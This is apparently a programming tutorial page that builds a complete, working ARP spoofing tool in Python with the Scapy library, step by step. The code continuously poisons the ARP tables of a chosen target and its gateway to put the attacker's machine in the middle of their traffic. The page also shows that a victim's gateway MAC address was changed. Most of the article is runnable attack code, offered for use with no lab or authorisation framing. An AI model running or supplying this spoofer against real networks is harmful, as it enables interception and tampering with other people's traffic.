Open In App

Python – How to create an ARP Spoofer using Scapy?

Last Updated : 27 Jul, 2020
Improve
Improve
Like Article
Like
Save
Share
Report

ARP spoofing is a malicious attack in which the hacker sends falsified ARP in a network. Every node in a connected network has an ARP table through which we identify the IP address and the MAC address of the connected devices.
What aim to send an ARP broadcast to find our desired IP which needs to be spoofed, and then spoof the gateway, as well as the target by updating their ARP Tables. This would enable the network packets sent by the target, to pass from our machine to the network gateway making the ARP spoof successful
To design a python script to create an ARP spoofer, we require the Scapy module. Scapy is a very powerful packet manipulation tool and library which is completely written in python
To install this module, open your terminal and type:

pip3 install scapy

The code demonstrated below requires python 3 to work. It is recommended to update your python to the latest version.
Steps to create ARP Spoofer:

  1. Get the IP address that we want to spoof
  2. Get the MAC address of the IP that we want to spoof
  3. Then create a spoofing packet using the ARP() function to set the target IP, Spoof IP and it’s MAC address that we found above.
  4. Start the spoofing
  5. Display the information of the numbers of packets sent
  6. Finally, re-set the ARP tables of the spoofed address to defaults after spoofing
Now open your python IDE and import scapy as follows:




import scapy.all as scapy
import time


Now we devise a function that returns us the MAC address of our desired IP address:




def get_mac(ip):
    arp_request = scapy.ARP(pdst = ip)
    broadcast = scapy.Ether(dst ="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast / arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout = 5, verbose = False)[0]
    return answered_list[0][1].hwsrc


In this function get_mac(), whatever IP address is entered is used to create an arp_request using ARP() function and we set the broadcast mac address to “ff:ff:ff:ff:ff:ff” using the Ether function
We now need to join these into a single packet, therefore we use the / to do so.
The srp() function returns two lists of the IP address that responded to the packet and that didn’t respond. The MAC address that has the matching IP address that was requested would be stored in the hwsrc field. We return this MAC address to where the function was called. To get to know what are the fields offered by scapy you can also run the following command:




print(scapy.ls(scapy.ARP))


You would be greeted with the following available fields:
Scapy.ls()
Now that we have made a function that gives us the desired MAC address, we would now proceed to create the function spoof() as follows:




def spoof(target_ip, spoof_ip):
    packet = scapy.ARP(op = 2, pdst = target_ip, 
                     hwdst = get_mac(target_ip), 
                               psrc = spoof_ip)
  
    scapy.send(packet, verbose = False)


This function takes two parameters i.e. the Target IP and The Spoofing IP. We use the ARP() function again to devise a packet that modifies the ARP table of the gateway and Target and use the send() function to start spoofing. You can set the verbose to False because the send function displays some default information that we do not require. You can tweak this option to get a better understanding.
Now we call the spoof function to start ARP Spoofing:




target_ip = "10.0.2.5" # Enter your target IP
gateway_ip = "10.0.2.1" # Enter your gateway's IP
spoof(target_ip, gateway_ip) 
spoof(gateway_ip, target_ip)


Now, unfortunately, the above code is only updating the ARP tables once. If we do not keep updating them continuously, then by default the Target’s ARP Table would correct itself to default.
Hence we modify this code:




target_ip = "10.0.2.5"
gateway_ip = "10.0.2.1"
while True:
        spoof(target_ip, gateway_ip)


But again this code does not display the numbers of packets sent, therefore we modify it again:




sent_packets_count = 0
while True:
        spoof(target_ip, gateway_ip)
        spoof(gateway_ip, target_ip)
        sent_packets_count = sent_packets_count + 2
        print("\r[*] Packets Sent "+str(sent_packets_count), end ="")


The above code would now properly function as expected, but there are still some things that are left incomplete. That includes the infinite loop this code would keep running if we don’t give it an interrupt to stop.
Hence the above code can be re-written:




target_ip = "10.0.2.5"
gateway_ip = "10.0.2.1"
  
try:
    sent_packets_count = 0
    while True:
        spoof(target_ip, gateway_ip)
        spoof(gateway_ip, target_ip)
        sent_packets_count = sent_packets_count + 2
        print("\r[*] Packets Sent "+str(sent_packets_count), end ="")
        time.sleep(2) # Waits for two seconds
except KeyboardInterrupt:
    print("\nCtrl + C pressed.............Exiting")


The above code would run perfectly and would stop whenever it gets a Keyboard interrupt. This code is almost perfect, but we still have not re-updated the ARP tables back to their default values. Hence we can create a function to do that as follows:




def restore(destination_ip, source_ip):
    destination_mac = get_mac(destination_ip)
    source_mac = get_mac(source_ip)
    packet = scapy.ARP(op = 2, pdst = destination_ip, 
                             hwdst = destination_mac, 
                psrc = source_ip, hwsrc = source_mac)
  
    scapy.send(packet, verbose = False)


Now that we have finally covered everything, the code for ARP Spoofing should look like this:




import scapy.all as scapy
import time
  
def get_mac(ip):
    arp_request = scapy.ARP(pdst = ip)
    broadcast = scapy.Ether(dst ="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast / arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout = 5, verbose = False)[0]
    return answered_list[0][1].hwsrc
  
def spoof(target_ip, spoof_ip):
    packet = scapy.ARP(op = 2, pdst = target_ip, hwdst = get_mac(target_ip),
                                                            psrc = spoof_ip)
    scapy.send(packet, verbose = False)
  
  
def restore(destination_ip, source_ip):
    destination_mac = get_mac(destination_ip)
    source_mac = get_mac(source_ip)
    packet = scapy.ARP(op = 2, pdst = destination_ip, hwdst = destination_mac, psrc = source_ip, hwsrc = source_mac)
    scapy.send(packet, verbose = False)
      
  
target_ip = "10.0.2.5" # Enter your target IP
gateway_ip = "10.0.2.1" # Enter your gateway's IP
  
try:
    sent_packets_count = 0
    while True:
        spoof(target_ip, gateway_ip)
        spoof(gateway_ip, target_ip)
        sent_packets_count = sent_packets_count + 2
        print("\r[*] Packets Sent "+str(sent_packets_count), end ="")
        time.sleep(2) # Waits for two seconds
  
except KeyboardInterrupt:
    print("\nCtrl + C pressed.............Exiting")
    restore(gateway_ip, target_ip)
    restore(target_ip, gateway_ip)
    print("[+] Arp Spoof Stopped")


Now that you have designed the code successfully, its time to run and check whether it’s working:


Following is the screenshot of the Hacker Machine:

Following is the screenshot of the Victim Machine:

Here we can clearly see that the MAC address of Victim’s Gateway at 10.0.2.1 has clearly changed the second time. Therefore, we know that our code of ARP spoofing is successfully working.





Like Article
Suggest improvement
Share your thoughts in the comments

Similar Reads